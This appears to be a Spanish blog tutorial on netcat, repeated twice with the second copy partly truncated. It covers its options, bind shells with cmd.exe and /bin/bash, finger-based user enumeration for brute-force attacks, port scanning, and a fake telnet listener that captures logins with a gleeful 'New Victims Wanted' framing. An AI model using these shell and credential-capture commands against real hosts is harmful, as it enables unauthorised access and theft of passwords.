Netcat : La Navaja Suiza de Los Hackers
INTRODUCCION
Netcat es un pequeño programa creado para uso de los
administradores de redes (y por supuesto para los Hackers) :), este
proggie fue creado originalmente por Hobbit y porteado a Win95 y NT por
Weld Pond de L0pht , tiene mas de un año desde que fue Liberado y muy
poco se ha escrito sobre este Programita; Principalmente porque la estructura
de sus comandos es poco familiar para el usuario medio. Netcat tiene
infinidad de funciones, aunque se deja que sea el usuario quien las
averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy
elementales solamente...
La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la
máquina de windows, cierto poder sobre este protocolo que solo tenía
UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el
Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre
TCP/IP. El comando principal es nc con su respectiva variable u opción
al mas puro estilio Unix.

NETCAT EN WINDOWS
Este es el resultado de el comando de ayuda de netcat en una máquina windows
c:>nc -h
connect to somewhere: nc [-options] hostname port [ports]
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
Bien; un analisis rápido de estas variables nos da una idea del
potencial de este pequeño programa y las infinitas posibilidades que nos
ofrece el poder manejar conexiones de una manera tan básica y sencilla:
<------ Opciones de Netcat --------->
-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo
trabajar en el BackGround.
-e (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto
en WinX como en *NIX.
-l (Escuchando conexiones)
Deja a un puerto abierto en espera de una conexión
-L (lo mismo que anteriormente pero sigue escuchando aún cuando la
conexión es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y
es muy util para seguir escuchando en el puerto, a diferencia de -l
(que la conexión cerrada termina con el proceso de nc) esta opción -L
permite seguir escuchando en el mismo puerto (la rutina de nc -l es
reiniciada).
-n (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la
facultad de resolver nombres de dominio mediante un DNS Lookup, con esta
opción le especificamos que no lo haga, y use solamente direcciones IP.
-o (obtiene un archivo log en Hex de la acción) Genera un Log de
las actividades de netcat en código Hexadecimal.
-p (Puerto para pegarse) Algunas veces debes especificarle con esta
opción el puerto a realizar una acción.
-s (pegarse a un IP especifico) Netcat puede utilizar IP de una red
como fuente local.
-t (Funciona como un pequeño demonio telnet) Con esta opción le especificas
a netcat que debe realizar negociaciones telnet.
-u specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que
trabaje con protocolo UDP en vez de TCP.
-v (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario, sobre todo para estudiar demonios
en profundidad y observar todos los detalles en un Sniffing.
-w (Especifica un tiempo para terminar) Con esta opción le especificas un
tiempo determinado para realizar conexiones .
-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar
patrones lógicos de Scanning.
-g (especificar Gateways) Una de las opciones más interesantes de netcat,
permite utilizar Routers como "puentes" de conexión.
-G (Especificar puntos de Routing), Con esta opción podemos crear
una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes
(Spoofing).
-i Especifica un intervalo de segundos entre puertos Scaneados.
UTILIZANDO NETCAT
Para ilustrar mejor como trabajamos con este programa, lo mejor es
observar ejemplos prácticos y analizar su estructura para poder comprender
mejor como funciona y así poder crear nuestras propias aplicaciones.
Algunas de las cosas que podemos hacer con NetCat son:
Obtener un Shell rapidamente en una máquina remota usando la
opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el
proggie corre con estas variables y la conexión es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la conexión a la red.
nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe
Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)
la opción -t le dice a NetCat que maneje cualquier negociación que el
cliente pueda esperar....
Si esta conexión es realizada desde una máquina NT, el shell
correrá los permisos del proceso que han generado a NetCat (Hmmm...) así
que hay que ser muy cuidadosos :)
La belleza de NetCat es que puede hacer lo mismo en CUALQUIER
puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que
están probablemente corriendo en la mayoría de las máquinas NT, de esta
manera puedes lograr una conexión a una máquina que esté utilizando
"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,
NT no parece tener ninguna seguridad alrededor de cuales puertos los
programas de usuarios son permitidos amarrar, esto quiere decir en pocas
palabras, ejecutar comandos y programas que puedan unirse a los Puertos
NETBIOS.
Como anteriormente se mencionó, puedes utilizar a Netcat para
estudiar diferentes puertos, con la siguiente sintaxis:
c:>nc -v (puedes añadir otra -v)
Uno de los puertos mas interesantes a la Hora de Analizar un
Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e
información muy util a la hora de planear un "Brute-Force Attack", este
comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,
dandote una idea de sus posibilidades:
c:>nc -v 79 <> log.txt
El comando anterior le dice a netcat que se conecte en modo
verbose al Host predeterminado en el puerto 79 (Finger) y envie el
contenido del archivo user.txt (OJO: no he probado esto con una posible
lista de nombre de usuarios al azahar), la respuesta del servicio será
guardada en el archivo log.txt
Scanner:
========
Netcat puede ser utilizado como scanner, sus multiples opciones
le permiten realizar un gran número de combinaciones, pudiendo realizar
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o
descendente, con intervalos de tiempo, utilizando gateways para evitar
mostrar la IP fuente del Scanning, etc.
C:nc11nt>nc -v -v -z 127.0.0.1 53 25 21
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK
Pues si; aqui tienen un pequeño y primitivo scanner, se le
pueden añadir puertos escogidos como en el ejemplo anterior o asignarle
un rango de puertos:
C:nc11nt>nc -v -v -z 127.0.0.1 1-53
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc...
Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.
Sniffer:
========
Otra de las interesante posibilidades de netcat es su capacidad para
escuchar conexiones en cualquier puerto, pudiendo redireccionar todo el
tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:
C:nc11nt>nc -v -v -L 127.0.0.1 -p 23
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]
Tambien podemos redireccionar toda la salida a un archivo e
irnos a realizar otras actividades ,ientras netcat hace su trabajo:
C:nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
[Aqui viene la conneción...]
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030
[Todo lo que escriba la connección se va al archivo login.txt]
sent 0, rcvd 42
[La opción -L permite que netcat escuche nuevamente al terminar la conexión,
"New Victims Wanted" Hehe!]
DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...
DATOS UTILES DESDE WINDOWS CON NETCAT
- Consola remota
Servidor (en windows)
nc -l -p 1234 -e cmd.exe
-l : Listening mode
-p 1234 : Especifica el puerto 1234 en el que se pondrá en escucha
-e cmd.exe : le dice a netcat que ejecute cmd.exe en cuanto haya conexión
Opcional:
-d : detached… sirve para mandar a background a netcat (puede usarse maliciosamente, supongo)
Servidor (en linux)
nc -l -p 1234 -e /bin/bash
-l : Listening mode
-p 1234 : Especifica el puerto 1234 en el que se pondrá en escucha
-e /bin/bash : le dice a netcat que ejecute /bin/bash (nuestra shell) en cuanto haya conexión
Cliente (linux… o igual otro windows)
nc x.x.x.x 1234
Donde x.x.x.x= ip del servidor
Para salir, escribir “exit” o hacer CTRL+C
- Mandar un archivo
Destino (windows, es “a quien”)
nc -l -p 1234 > archivo
Origen (linux, es “de”)
nc x.x.x.x 1234 <>
Donde x.x.x.x es la ip del destino.
- Chat p2p
Servidor
nc -l -p 2000
Cliente
nc x.x.x.x 2000
Descargar NetCat
INTRODUCCION
Netcat es un pequeño programa creado para uso de los
administradores de redes (y por supuesto para los Hackers) :), este
proggie fue creado originalmente por Hobbit y porteado a Win95 y NT por
Weld Pond de L0pht , tiene mas de un año desde que fue Liberado y muy
poco se ha escrito sobre este Programita; Principalmente porque la estructura
de sus comandos es poco familiar para el usuario medio. Netcat tiene
infinidad de funciones, aunque se deja que sea el usuario quien las
averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy
elementales solamente...
La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la
máquina de windows, cierto poder sobre este protocolo que solo tenía
UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el
Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre
TCP/IP. El comando principal es nc con su respectiva variable u opción
al mas puro estilio Unix.

NETCAT EN WINDOWS
Este es el resultado de el comando de ayuda de netcat en una máquina windows
c:>nc -h
connect to somewhere: nc [-options] hostname port [ports]
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
Bien; un analisis rápido de estas variables nos da una idea del
potencial de este pequeño programa y las infinitas posibilidades que nos
ofrece el poder manejar conexiones de una manera tan básica y sencilla:
<------ Opciones de Netcat --------->
-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo
trabajar en el BackGround.
-e
Puede ser utilizado para ejecutar incluso un Shell tanto
en WinX como en *NIX.
-l (Escuchando conexiones)
Deja a un puerto abierto en espera de una conexión
-L (lo mismo que anteriormente pero sigue escuchando aún cuando la
conexión es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y
es muy util para seguir escuchando en el puerto, a diferencia de -l
(que la conexión cerrada termina con el proceso de nc) esta opción -L
permite seguir escuchando en el mismo puerto (la rutina de nc -l es
reiniciada).
-n (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la
facultad de resolver nombres de dominio mediante un DNS Lookup, con esta
opción le especificamos que no lo haga, y use solamente direcciones IP.
-o
las actividades de netcat en código Hexadecimal.
-p
opción el puerto a realizar una acción.
-s
como fuente local.
-t (Funciona como un pequeño demonio telnet) Con esta opción le especificas
a netcat que debe realizar negociaciones telnet.
-u specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que
trabaje con protocolo UDP en vez de TCP.
-v (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario, sobre todo para estudiar demonios
en profundidad y observar todos los detalles en un Sniffing.
-w
tiempo determinado para realizar conexiones .
-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar
patrones lógicos de Scanning.
-g
permite utilizar Routers como "puentes" de conexión.
-G
una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes
(Spoofing).
-i
UTILIZANDO NETCAT
Para ilustrar mejor como trabajamos con este programa, lo mejor es
observar ejemplos prácticos y analizar su estructura para poder comprender
mejor como funciona y así poder crear nuestras propias aplicaciones.
Algunas de las cosas que podemos hacer con NetCat son:
Obtener un Shell rapidamente en una máquina remota usando la
opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el
proggie corre con estas variables y la conexión es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la conexión a la red.
nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe
Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)
la opción -t le dice a NetCat que maneje cualquier negociación que el
cliente pueda esperar....
Si esta conexión es realizada desde una máquina NT, el shell
correrá los permisos del proceso que han generado a NetCat (Hmmm...) así
que hay que ser muy cuidadosos :)
La belleza de NetCat es que puede hacer lo mismo en CUALQUIER
puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que
están probablemente corriendo en la mayoría de las máquinas NT, de esta
manera puedes lograr una conexión a una máquina que esté utilizando
"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,
NT no parece tener ninguna seguridad alrededor de cuales puertos los
programas de usuarios son permitidos amarrar, esto quiere decir en pocas
palabras, ejecutar comandos y programas que puedan unirse a los Puertos
NETBIOS.
Como anteriormente se mencionó, puedes utilizar a Netcat para
estudiar diferentes puertos, con la siguiente sintaxis:
c:>nc -v
Uno de los puertos mas interesantes a la Hora de Analizar un
Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e
información muy util a la hora de planear un "Brute-Force Attack", este
comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,
dandote una idea de sus posibilidades:
c:>nc -v
El comando anterior le dice a netcat que se conecte en modo
verbose al Host predeterminado en el puerto 79 (Finger) y envie el
contenido del archivo user.txt (OJO: no he probado esto con una posible
lista de nombre de usuarios al azahar), la respuesta del servicio será
guardada en el archivo log.txt
Scanner:
========
Netcat puede ser utilizado como scanner, sus multiples opciones
le permiten realizar un gran número de combinaciones, pudiendo realizar
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o
descendente, con intervalos de tiempo, utilizando gateways para evitar
mostrar la IP fuente del Scanning, etc.
C:nc11nt>nc -v -v -z 127.0.0.1 53 25 21
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK
Pues si; aqui tienen un pequeño y primitivo scanner, se le
pueden añadir puertos escogidos como en el ejemplo anterior o asignarle
un rango de puertos:
C:nc11nt>nc -v -v -z 127.0.0.1 1-53
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc...
Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.
Sniffer:
========
Otra de las interesante posibilidades de netcat es su capacidad para
escuchar conexiones en cualquier puerto, pudiendo redireccionar todo el
tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:
C:nc11nt>nc -v -v -L 127.0.0.1 -p 23
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]
Tambien podemos redireccionar toda la salida a un archivo e
irnos a realizar otras actividades ,ientras netcat hace su trabajo:
C:nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
[Aqui viene la conneción...]
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030
[Todo lo que escriba la connección se va al archivo login.txt]
sent 0, rcvd 42
[La opción -L permite que netcat escuche nuevamente al terminar la conexión,
"New Victims Wanted" Hehe!]
DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...
DATOS UTILES DESDE WINDOWS CON NETCAT
- Consola remota
Servidor (en windows)
nc -l -p 1234 -e cmd.exe
-l : Listening mode
-p 1234 : Especifica el puerto 1234 en el que se pondrá en escucha
-e cmd.exe : le dice a netcat que ejecute cmd.exe en cuanto haya conexión
Opcional:
-d : detached… sirve para mandar a background a netcat (puede usarse maliciosamente, supongo)
Servidor (en linux)
nc -l -p 1234 -e /bin/bash
-l : Listening mode
-p 1234 : Especifica el puerto 1234 en el que se pondrá en escucha
-e /bin/bash : le dice a netcat que ejecute /bin/bash (nuestra shell) en cuanto haya conexión
Cliente (linux… o igual otro windows)
nc x.x.x.x 1234
Donde x.x.x.x= ip del servidor
Para salir, escribir “exit” o hacer CTRL+C
- Mandar un archivo
Destino (windows, es “a quien”)
nc -l -p 1234 > archivo
Origen (linux, es “de”)
nc x.x.x.x 1234 <>
Donde x.x.x.x es la ip del destino.
- Chat p2p
Servidor
nc -l -p 2000
Cliente
nc x.x.x.x 2000
Descargar NetCat


























No hay comentarios:
Publicar un comentario